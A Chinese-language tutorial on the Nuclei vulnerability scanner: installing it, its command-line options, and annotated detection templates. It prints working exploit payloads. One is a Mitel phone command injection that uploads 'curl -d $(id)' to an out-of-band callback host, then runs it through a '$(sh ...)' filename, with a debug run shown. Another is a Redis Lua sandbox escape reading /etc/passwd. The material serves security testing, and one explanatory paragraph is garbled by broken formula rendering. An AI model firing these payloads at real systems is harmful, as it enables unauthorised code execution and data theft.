【一文带你搞懂】漏扫核弹Nuclei

1. Go环境

bash 复制代码
sudo tar -C /usr/local -xzf go1.xx.x.linux-amd64.tar.gz

export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

source ~/.bashrc
go version
go env

go env -w GOPROXY=https://goproxy.cn,direct
go install  golang.org/x/tools/gopls@latest
go install  github.com/cweill/gotests/gotests@v1.6.0
go install github.com/josharian/impl@v1.4.0
go install github.com/haya14busa/goplay/cmd/goplay@v1.0.0

git clone https://github.com/projectdiscovery/nuclei.git
cd nuclei

make

./bin/nuclei -h

2. What is Nuclei

传统漏洞管理工具存在明显局限,大多是较为固定的扫描模型,难以适应如今快速迭代的开发节奏。面对快速开发、动态基础设施和自动化攻击的新时代,安全团队亟需新的漏洞管理工具,真正提升防御效率与响应速度。ProjectDiscovery 通过结合成熟的开源技术和云原生功能,重新定义了资产攻击面管理。其平台通过对深度扫描和资产呈现,确保资产实时可见。简言之,它让安全团队能够以攻击者的视角看待组织的攻击面。

ProjectDiscovery打造了一个由超过10万名 工程师组成的蓬勃发展的全球社区 ,主要的工具包括:Nuclei, Httpx, Subfinder。

Nuclei是基于模板的可定制的漏洞扫描器 ,依托全球安全社区的支持,基于简洁的YAML DSL构建,来识别资产和脆弱性它能够检测应用程序、API、网络、DNS及云配置中的漏洞 ,每个模板描述了一条可能的攻击路径 ,详细说明了漏洞信息、其严重性、优先级, 有时还包括相关的漏洞利用代码。这种以模板驱动的方法确保了 Nuclei 不仅能识别潜在威胁,还能精确定位具有实际影响的可被利用的漏洞。

目前项目在GitHub上已收获26.5K Star,共计有12w+个Nuclei模板。Nuclei确保扫描速度快、结果精准,并与现实世界攻击者的行为保持一致。

TAG COUNT DIRECTORY COUNT SEVERITY COUNT
vuln 6468 http 9281 info 4353
cve 3587 cloud 659 high 2552
discovery 3265 file 436 medium 2457
vkev 1394 network 259 critical 1555
panel 1365 code 251 low 330
xss 1269 dast 240 unknown 54
wordpress 1261 workflows 205
exposure 1141 javascript 92
wp-plugin 1103 ssl 38
osint 848 dns 23

表1-1 Nuclei Templates Top 10 statistics

typescript 复制代码
扫描一个单独的URL:
nuclei -target example.com

对URL运行指定的模板:
nuclei -target example.com -t http/cves/ -t ssl

扫描hosts.txt中的多个URL:
nuclei -list hosts.txt

输出结果为JSON格式:
nuclei -target example.com -json-export output.json

使用已排序的Markdown输出(使用环境变量)运行nuclei:
MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/】
	
其他用法详见:
nuclei -h

调试:
    -debug                               显示所有请求和响应
    -dreq, -debug-req                    显示所有请求
    -dresp, -debug-resp                  显示所有响应
    -p, -proxy string[]                  使用http/socks5代理(逗号分隔,文件)
    -pi, -proxy-internal                 代理所有请求
    -ldf, -list-dsl-function             列出所有支持的DSL函数签名
    -tlog, -trace-log string             写入跟踪日志到文件
    -elog, -error-log string             写入错误日志到文件
    -version                             显示版本信息
    -hm, -hang-monitor                   启用对nuclei挂起协程的监控
    -v, -verbose                         显示详细信息
    -profile-mem string                  将Nuclei的内存转储成文件
    -vv                                  显示额外的详细信息
    -svd, -show-var-dump                 显示用于调试的变量输出
    -ep, -enable-pprof                   启用pprof调试服务器
    -tv, -templates-version              显示已安装的模板版本
    -hc, -health-check                   运行诊断检查

统计:
    -stats                               显示正在扫描的统计信息
    -sj, -stats-json                     将统计信息以JSONL格式输出到文件
    -si, -stats-inerval int              显示统计信息更新的间隔秒数(默认:5)
    -mp, -metrics-port int               更改metrics服务的端口(默认:9092)

3. 漏扫模板详解

从nuclei-templates-main下载一些模板,让我挑几个模板例子,学习一下nuclei yaml模板语法。

3.1. CVE-2025-47188.yaml

yaml 复制代码
id: CVE-2025-47188

info:
  name: Mitel 6000 - OS Command Injection
  severity: critical
  author: matejsmycka
  description: |
    A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
  reference:
    - https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-47188
    epss-score: 0.03648
    epss-percentile: 0.87498
    cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*
  metadata:
    vendor: mitel
    max-request: 2
    fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
  tags: cve,cve2025,rce,network,mitel,oast,oob,vkev

variables:
  waf_file: "524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000"
  random_number: "{{rand_base(8)}}"

http:
  - raw:
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"

       {{hex_decode(waf_file)}}
       curl -d $(id) {{interactsh-url}}
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"


       This is an invalid WAV file
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_1
        words:
          - "ringtone.html"
# digest: 490a0046304402205a813ffd13d368c9e4b6556e2c1d83909ea6c029549923e840937807cf24b5750220740562b070ee64c6b746a297110e43eaa5ca7284e6ee1bf0eb0cf2633556b7a7:922c64590222798bb761d5b6d8e72950

CVE-2025-47188 是Mitel 6800/6900系列IP电话中的一个严重漏洞,允许未经身份验证的攻击者通过命令注入实现远程代码执行

info信息代表了这个漏洞的基本信息,是重要的注释。

variables关键字,用于定义一些变量,这样后续方便直接使用{}进行变量替换。

yaml 复制代码
variables:
  waf_file: "52494646..."  # RIFF WAV文件头(十六进制)
  random_number: "{{rand_base(8)}}"  # 8位随机数,避免缓存

其中有一些内置变量:

变量 描述 示例值
{{BaseURL}} 完整基础URL https://example.com
{{RootURL}} 根URL https://example.com
{{Hostname}} 主机名 example.com
{{Host}} 主机地址 example.com:443
{{Port}} 端口号 443
{{Path}} 路径部分 /api/v1
{{Scheme}} 协议 https

其中有一些内置函数,详见dsl-functions.yaml:

scss 复制代码
id: helper-functions-examples

info:
  name: RAW Template with Helper Functions
  author: pdteam
  severity: info

http:
  - raw:
      # Note for the integration test: dsl expression should not contain commas
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        01: {{base64("Hello")}}
        02: {{base64(1234)}}
        03: {{base64_decode("SGVsbG8=")}}
        04: {{base64_py("Hello")}}
        05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
        06: {{concat("Hello", "world")}}
        07: {{contains("Hello", "lo")}}
        08: {{contains_all("Hello everyone", "lo", "every")}}
        09: {{contains_any("Hello everyone", "abc", "llo")}}
        10: {{date_time("%Y-%M-%D")}}
        11: {{date_time("%Y-%M-%D", unix_time())}}
        12: {{date_time("%H-%m")}}
        13: {{date_time("02-01-2006 15:04")}}
        14: {{date_time("02-01-2006 15:04", unix_time())}}
        15: {{dec_to_hex(11111)}}
        16: {{generate_java_gadget("commons-collections3.1", "wget http://scanme.sh", "base64")}}
        17: {{gzip("Hello")}}
        18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
        19: {{hex_decode("6161")}}
        20: {{hex_encode("aa")}}
        21: {{hmac("sha1", "test", "scrt")}}
        22: {{hmac("sha256", "test", "scrt")}}
        23: {{hmac("sha512", "test", "scrt")}}
        24: {{html_escape("<body>test</body>")}}
        25: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
        26: {{join("_", "hello", "world")}}
        27: {{len("Hello")}}
        28: {{len(5555)}}
        29: {{md5("Hello")}}
        30: {{md5(1234)}}
        31: {{mmh3("Hello")}}
        32: {{print_debug(1+2, "Hello")}}
        33: {{rand_base(5, "abc")}}
        34: {{rand_base(5, "")}}
        35: {{rand_base(5)}}
        36: {{rand_char("abc")}}
        37: {{rand_char("")}}
        38: {{rand_char()}}
        39: {{rand_int(1, 10)}}
        40: {{rand_int(10)}}
        41: {{rand_int()}}
        42: {{rand_ip("192.168.0.0/24")}}
        43: {{rand_ip("2002:c0a8::/24")}}
        44: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
        45: {{rand_text_alpha(10, "abc")}}
        46: {{rand_text_alpha(10, "")}}
        47: {{rand_text_alpha(10)}}
        48: {{rand_text_alphanumeric(10, "ab12")}}
        49: {{rand_text_alphanumeric(10)}}
        50: {{rand_text_numeric(10, 123)}}
        51: {{rand_text_numeric(10)}}
        52: {{regex("H([a-z]+)o", "Hello")}}
        53: {{remove_bad_chars("abcd", "bc")}}
        54: {{repeat("a", 5)}}
        55: {{replace("Hello", "He", "Ha")}}
        56: {{replace_regex("He123llo", "(\d+)", "")}}
        57: {{reverse("abc")}}
        58: {{sha1("Hello")}}
        59: {{sha256("Hello")}}
        60: {{sha512("Hello")}}
        61: {{to_lower("HELLO")}}
        62: {{to_upper("hello")}}
        63: {{trim("aaaHelloddd", "ad")}}
        64: {{trim_left("aaaHelloddd", "ad")}}
        65: {{trim_prefix("aaHelloaa", "aa")}}
        66: {{trim_right("aaaHelloddd", "ad")}}
        67: {{trim_space("  Hello  ")}}
        68: {{trim_suffix("aaHelloaa", "aa")}}
        69: {{unix_time(10)}}
        70: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
        71: {{url_encode("https://projectdiscovery.io/test?a=1")}}
        72: {{wait_for(1)}}
        73: {{zlib("Hello")}}
        74: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
        75: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
        76: {{starts_with("Hello", "He")}}
        77: {{ends_with("Hello", "lo")}}
        78: {{line_starts_with("Hi\nHello", "He")}}
        79: {{line_ends_with("Hello\nHi", "lo")}}
        80: {{sort("a1b2c3d4e5")}}
        81: {{uniq("abcabdaabbccd")}}
        82: {{join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4"))}}
        83: {{join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))}}
        84: {{split("ab,cd,efg", ",")}}
        85: {{split("ab,cd,efg", ",", 2)}}
        86: {{ip_format('127.0.0.1', 3)}}
        87: {{ip_format('127.0.1.0', 11)}}
        88: {{jarm('scanme.sh:443')}}
    extractors:
      - type: regex
        name: results
        regex:
          - '\d+: [^\s]+'

http: - raw: 表示这是一个原始HTTP请求模板,也就是说:

bash 复制代码
http:
  - raw:
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"

       {{hex_decode(waf_file)}}
       curl -d $(id) {{interactsh-url}}
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

也就是这个post内容,完全依赖模板内容,raw模式用于精确控制HTTP请求的每一个字节时,并可以构造非标准、畸形或复杂的HTTP请求。上述请求的意思就是:

ini 复制代码
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0

然后载荷内容为:

lua 复制代码
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"
{{hex_decode(waf_file)}}
curl -d $(id) {{interactsh-url}}
------0ba2fc3a8c91370bd74c5f7ab65fda3f--

目的就是:作者会上传一个文件,准备在文件内容字段(正常情况下应该是WAV音频数据)中直接插入操作系统命令 ( <math xmlns="http://www.w3.org/1998/Math/MathML"> ( i d ) ), i d 命令:获取当前用户权限,那么后面这个 ' c u r l − d (id)),id命令:获取当前用户权限,那么后面这个`curl -d </math>(id)),id命令:获取当前用户权限,那么后面这个'curl−d(id) {{interactsh-url}}是什么意思呢,如果只是执行命令但看不到结果,无法100%确认漏洞利用成功,所以通过外传结果,可以**确凿证明**命令执行能力。本例中采用的是**Interactsh服务外传**,如果命令执行成功,目标设备会向Interactsh服务器发送DNS查询,自动记录和展示回传数据。那么第一个post请求如果成功,那么它会被保存到目标设备的一个路径下,例如: <math xmlns="http://www.w3.org/1998/Math/MathML"> H O M E / u s e r d a t a / r i n g t o n e / 12345678. t x t ' 。此时,这个文件只是一个 ∗ ∗ 静态的文本文件 ∗ ∗ ,系统还不会去执行它。里面的内容是 ' c u r l − d {HOME}/userdata/ringtone/12345678.txt`。此时,这个文件只是一个**静态的文本文件**,系统还不会去执行它。里面的内容是`curl -d </math>HOME/userdata/ringtone/12345678.txt'。此时,这个文件只是一个∗∗静态的文本文件∗∗,系统还不会去执行它。里面的内容是'curl−d(id) {{interactsh-url}}`。

接下来进行第二步,就是执行里面的内容:

kotlin 复制代码
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"


       This is an invalid WAV file
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

这个目的就是:在filename参数中进行的命令注入,当设备处理这个文件名时,由于过滤不严,会执行 $() 中的命令。其逻辑是:执行(sh命令)第一步上传的文本文件。结果:成功实现RCE,并将命令结果外传。

后面就是匹配结果,也就是验证响应是否包含我们成功的标志

yaml 复制代码
matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_1
        words:
          - "ringtone.html"

matchers-condition为与,就是两种matchers都要命中:

第一个请求,如果命令执行成功,目标设备会向Interactsh服务器发送DNS查询 ,那么检查Interactsh回调。其次,part: body_1代表检查第一个请求的响应 ,如果响应成功的话,会返回一个上传成功的页面,一般来说这个响应里面会包含ringtone.html字段。

OKK,让我执行一下,并抓包看看效果

xml 复制代码
./bin/nuclei -t ./github-template/nuclei-templates-main/network/cves/2025/CVE-2025-47188.yaml -u http://0.0.0.0:60002/ --debug



                     __     _
   ____  __  _______/ /__  (_)
  / __ / / / / ___/ / _ / /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/__,_/___/_/___/_/   v3.6.2

                projectdiscovery.io
INF] [CVE-2025-47188] Dumped HTTP request for http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0

POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
Host: 0.0.0.0:60002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: close
Content-Length: 278
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
Accept-Encoding: gzip

------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="NlWLsTbk.txt"

RIFF$WAVEfmt D��Xdata
curl -d $(id) d5jjkm4lujf53belj8v0hnaic5wz8fceq.oast.site
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
[DBG] [CVE-2025-47188] Dumped HTTP response http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0

HTTP/1.0 501 Unsupported method ('POST')
Content-Length: 497
Connection: close
Content-Type: text/html;charset=utf-8
Date: Wed, 14 Jan 2026 06:40:29 GMT
Server: SimpleHTTP/0.6 Python/3.7.9

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 501</p>
        <p>Message: Unsupported method ('POST').</p>
        <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
    </body>
</html>
[INF] [CVE-2025-47188] Dumped HTTP request for http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0

POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
Host: 0.0.0.0:60002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Content-Length: 255
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
Accept-Encoding: gzip

------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}NlWLsTbk.txt).wav"


This is an invalid WAV file
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
[DBG] [CVE-2025-47188] Dumped HTTP response http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0

HTTP/1.0 501 Unsupported method ('POST')
Content-Length: 497
Connection: close
Content-Type: text/html;charset=utf-8
Date: Wed, 14 Jan 2026 06:40:29 GMT
Server: SimpleHTTP/0.6 Python/3.7.9

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 501</p>
        <p>Message: Unsupported method ('POST').</p>
        <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
    </body>
</html>
[INF] Scan completed in 11.621978997s. No results found.

3.2. CVE-2024-48208.yaml

less 复制代码
id: CVE-2024-48208

info:
  name: Pure-FTPd < 1.0.52 - Buffer Overflow
  author: pussycat0x
tcp:
  - inputs:
      - data: 00000000
        type: hex

    host:
      - "{{Hostname}}"

    port: 21
    read-size: 1024

    matchers:
      - type: dsl
        dsl:
          - "contains(raw, 'Pure-FTPd')"
          - "compare_versions(version, '< 1.0.52')"
        condition: and

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "Pure-FTPd ([0-9.]+)"
# digest: 4a0a00473045022079933a83438b5fd02769a89fcf61735fe9994d3ac147344c1245510acf2ab6a6022100aadc68c6f6d2a8faa20c415007cdb43a8f0e267dc1fb899477af93820a8a9b7b:922c64590222798bb761d5b6d8e72950

CVE-2024-48208 是Pure-FTPd中的一个高危漏洞,存在于domlsd()函数中的缓冲区溢出问题,影响1.0.52之前的所有版本。

这个模板的实际不进行实际的漏洞利用 ,而是通过版本检测来识别存在漏洞的系统。

首先,建立TCP连接后发送无效数据,触发FTP服务器的错误响应

tcp inputs关键字代表,输入的tcp载荷数据。

read-size: 1024:意味着扫描引擎会预先分配一个 1024 字节的缓冲区来接收目标返回的数据。这通常足以容纳许多服务的初始响应头或基础应答,有助于快速判断服务状态。

yaml 复制代码
tcp:
  - inputs:
      - data: 00000000  # 十六进制的4个空字节
        type: hex
    host: "{{Hostname}}"
    port: 21  # FTP标准端口
    read-size: 1024

接着使用了extractors关键字,就是进一步提取字段,存到自定义变量version中:

yaml 复制代码
extractors:
  - type: regex
    name: version  # 提取的版本号保存到version变量
    group: 1
    regex:
      - "Pure-FTPd ([0-9.]+)"  # 正则表达式匹配版本号

然后智能匹配中,有一个类型是dsl,也就是使用了内置函数做version比较,以及响应检查,其中raw是一个内置变量,表示从服务器接收到的原始字节数据,直接看有没有Pure-FTPd标识:

yaml 复制代码
matchers:
  - type: dsl  # 使用领域特定语言进行复杂匹配
    dsl:
      - "contains(raw, 'Pure-FTPd')"  # 检查响应是否包含Pure-FTPd标识
      - "compare_versions(version, '< 1.0.52')"  # 版本比较
    condition: and  # 两个条件都必须满足

执行如下:

ini 复制代码
[INF] Targets loaded for current scan: 1
[INF] [CVE-2024-48208] Dumped Network request for 0.0.0.0:60002
00000000  30 30 30 30 30 30 30 30                           |00000000| address=0.0.0.0:60002
[DBG] [CVE-2024-48208] Dumped Network response for 0.0.0.0:60002

[INF] Scan completed in 5.001803266s. No results found.

3.3. CVE-2022-0543.yaml

CVE-2022-0543 是Redis中的一个严重漏洞,CVSS评分高达10分。这个漏洞的独特之处在于它不是Redis官方代码的问题,而是Debian/Ubuntu打包时引入的配置错误

python 复制代码
id: CVE-2022-0543

info:
  name: Redis Sandbox Escape - Remote Code Execution
  author: dwisiswant0
tcp:
  - host:
      - "{{Hostname}}"
      - "tls://{{Hostname}}"
    port: 6380

    inputs:
      - data: "eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0\r\n"
    read-size: 64

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100c8ed4930c0fadb55442a5301f01895dd45518608db37c7887512edcb27ecff6702210088f7140385e7bb193216f1c3db0f499f98ea8b3f8c6f7591df89163af9a4b4f6:922c64590222798bb761d5b6d8e72950

我们先看一下,这个tcp host关键字,注意它有两个:

arduino 复制代码
      - "{{Hostname}}"
      - "tls://{{Hostname}}"

这代表按顺序进行连接,连上一个就行。

接着,input作为tcp载荷,内容是:

css 复制代码
EVAL 'lua_script' number_of_keys [key1] [key2] [...] [arg1] [arg2] [...]

也就是redis执行lua脚本的语句。

其中语句就是Lua沙箱逃逸代码:

ini 复制代码
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("cat /etc/passwd", "r");
local res = f:read("*a");
f:close();
return res

然后响应的检测,这里用到了regex关键字,去正则匹配,root:.*:0:0: 匹配 /etc/passwd文件中的root用户行。

3.4. CVE-2021-27877.yaml

这是一个针对 Veritas Backup Exec 认证绕过漏洞(CVE-2021-27877) 的Nuclei检测模板,它使用了JavaScript协议进行检测。****

ini 复制代码
id: CVE-2021-27877

info:
  name: Veritas Backup Exec - Broken Authentication
  author: pussycat0x,DhiyaneshDK

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);

    code: |
      let packet = bytes.NewBuffer();
      const c = require("nuclei/net");
      const cmd = "80000018000000010000000000000000000001080000000000000000"
      packet.WriteString(cmd)
      let conn = c.Open('tcp', `${Host}:${Port}`);
      conn.SendHex(packet);
      const result = conn.RecvFullString();

      // Function to extract ASCII strings from various formats
      function extractAsciiStrings(data) {
        let asciiStrings = [];
        let currentString = '';

        if (data.includes('\x')) {
          // Split by \x and process each part
          const parts = data.split('\x');

          for (let i = 1; i < parts.length; i++) { // Skip first empty part
            const part = parts[i];

            if (part.length === 0) continue;

            // Handle single character
            if (part.length === 1) {
              const charCode = part.charCodeAt(0);
              if (charCode >= 32 && charCode <= 126) { // Printable ASCII
                currentString += part;
              } else {
                // End current string if we hit non-printable
                if (currentString.length > 0) {
                  asciiStrings.push(currentString);
                  currentString = '';
                }
              }
            } else if (part.length === 2) {
              // Try to parse as hex
              const hexValue = parseInt(part, 16);
              if (!isNaN(hexValue) && hexValue >= 32 && hexValue <= 126) {
                currentString += String.fromCharCode(hexValue);
              } else {
                // End current string if we hit non-printable
                if (currentString.length > 0) {
                  asciiStrings.push(currentString);
                  currentString = '';
                }
              }
            } else {
              // Multiple characters - process each
              for (let j = 0; j < part.length; j++) {
                const charCode = part.charCodeAt(j);
                if (charCode >= 32 && charCode <= 126) {
                  currentString += part[j];
                } else {
                  // End current string if we hit non-printable
                  if (currentString.length > 0) {
                    asciiStrings.push(currentString);
                    currentString = '';
                  }
                }
              }
            }
          }
        } else {
          // If not \x format, process as raw string
          for (let i = 0; i < data.length; i++) {
            const charCode = data.charCodeAt(i);
            if (charCode >= 32 && charCode <= 126) { // Printable ASCII
              currentString += data[i];
            } else {
              // End current string if we hit non-printable
              if (currentString.length > 0) {
                asciiStrings.push(currentString);
                currentString = '';
              }
            }
          }
        }

        // Add final string if exists
        if (currentString.length > 0) {
          asciiStrings.push(currentString);
        }

        // Filter out empty strings and return non-empty ones
        return asciiStrings.filter(s => s.length > 0);
      }

      const asciiStrings = extractAsciiStrings(result);
      const cleanResult = asciiStrings.join(' ');

      Export(ToString(cleanResult));

    args:
      Host: "{{Host}}"
      Port: 10000

    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - "compare_versions(version, '< 9.3')"
        condition: and

    extractors:
      - type: regex
        part: response
        group: 1
        name: version
        regex:
          - 'Remote Agent for NT ([0-9.]+)'
# digest: 4a0a00473045022011a4c8d7bb0e88f797edc325113cb21cf93fd6324db125f358e78d9ce08b9b5602210093cafecdcf93c635e56989c7396f59b3e6c7f82f3bc67a037571aef1121a7409:922c64590222798bb761d5b6d8e72950

这个模板使用javascript而不是传统的httptcp,是因为需要复杂的协议分析和数据处理能力。相当于通过编码来进行收发包,来构造请求和匹配响应。

步骤1,先进行预条件检查:

css 复制代码
pre-condition: |
  isPortOpen(Host,Port);  # 首先检查目标端口是否开放

步骤2,构造攻击数据包:

ini 复制代码
const cmd = "80000018000000010000000000000000000001080000000000000000"
packet.WriteString(cmd)

这是一个Veritas Backup Exec Agent协议的特定命令包,用于触发SHA认证流程。

步骤3,发送并接收响应:

ini 复制代码
let conn = c.Open('tcp', `${Host}:${Port}`);
conn.SendHex(packet);
const result = conn.RecvFullString();

模板的核心是一个精心设计的 extractAsciiStrings函数,用于从二进制响应中提取可读信息:

ini 复制代码
function extractAsciiStrings(data) {
  let asciiStrings = [];
  let currentString = '';
  
  // 处理包含\x转义的二进制数据
  if (data.includes('\x')) {
    const parts = data.split('\x');
    // ... 复杂的字符解析逻辑
  }
  // ... 更多处理逻辑
}

// 提取ASCII字符串
const asciiStrings = extractAsciiStrings(result)
// 合并为可读文本;
const cleanResult = asciiStrings.join(' ');
// 导出到Nuclei上下文
Export(ToString(cleanResult));

为什么需要这么复杂的解析 ?Veritas Backup Exec Agent返回的是二进制协议数据,其中可能包含:

  • 版本信息 :如"Remote Agent for NT 9.2"
  • 服务标识 :产品名称和版本号
  • 错误信息:认证失败或服务状态

我们再看一下匹配条件, 首先会从清洗后的响应中提取,也就是Export(ToString(cleanResult));,后再提取版本号他其实也是个版本校验的漏洞,而不是直接利用。

yaml 复制代码
matchers:
  - type: dsl
    dsl:
      - "success == true"           # 连接和通信成功
      - "compare_versions(version, '< 9.3')"  # 版本低于9.3(存在漏洞)
    condition: and
    
extractors:
  - type: regex
    part: response
    group: 1
    name: version
    regex:
      - 'Remote Agent for NT ([0-9.]+)'  

为什么需要这个阶段?

arduino 复制代码
// 原始二进制数据可能看起来像这样(包含不可见字符):
// \x00\x01Remote Agent for NT 9.2\x00\xff\xfe...

// 经过 extractAsciiStrings 处理后:
// ["Remote Agent for NT", "9.2"]

// 最终 cleanResult:
// "Remote Agent for NT 9.2"

4. 如何规范开发

4.1. 命名规范

makefile 复制代码
# ✅ 推荐的命名格式
id: cve-2023-12345-apache-rce
id: wordpress-plugin-xss-authenticated  
id: spring-boot-actuator-exposure
id: nginx-alias-traversal

# ❌ 避免的命名格式  
id: test1
id: my-template
id: vuln-check
id: scan

4.2. 完整的信息字段

yaml 复制代码
id: CVE-2025-47188

info:
  name: Mitel 6000 - OS Command Injection
  severity: critical
  author: matejsmycka
  description: |
    A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
  reference:
    - https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-47188
    epss-score: 0.03648
    epss-percentile: 0.87498
    cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*
  metadata:
    vendor: mitel
    max-request: 2
    fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
  tags: cve,cve2025,rce,network,mitel,oast,oob,vkev

4.3. 负责任的漏洞检测

  • 检测信息泄露漏洞,不包含实际利用代码
  • 不提取实际的敏感信息,只确认漏洞存在
  • 避免破坏性测试

4.4. 举一个例子

针对 Citrix 服务器的 CVE-2020-8193。该漏洞利用需要多个请求,其中从第一个请求获取的 Cookie 需要随所有后续请求一起发送,并且响应中的一些动态变量也需要随每个请求发送。

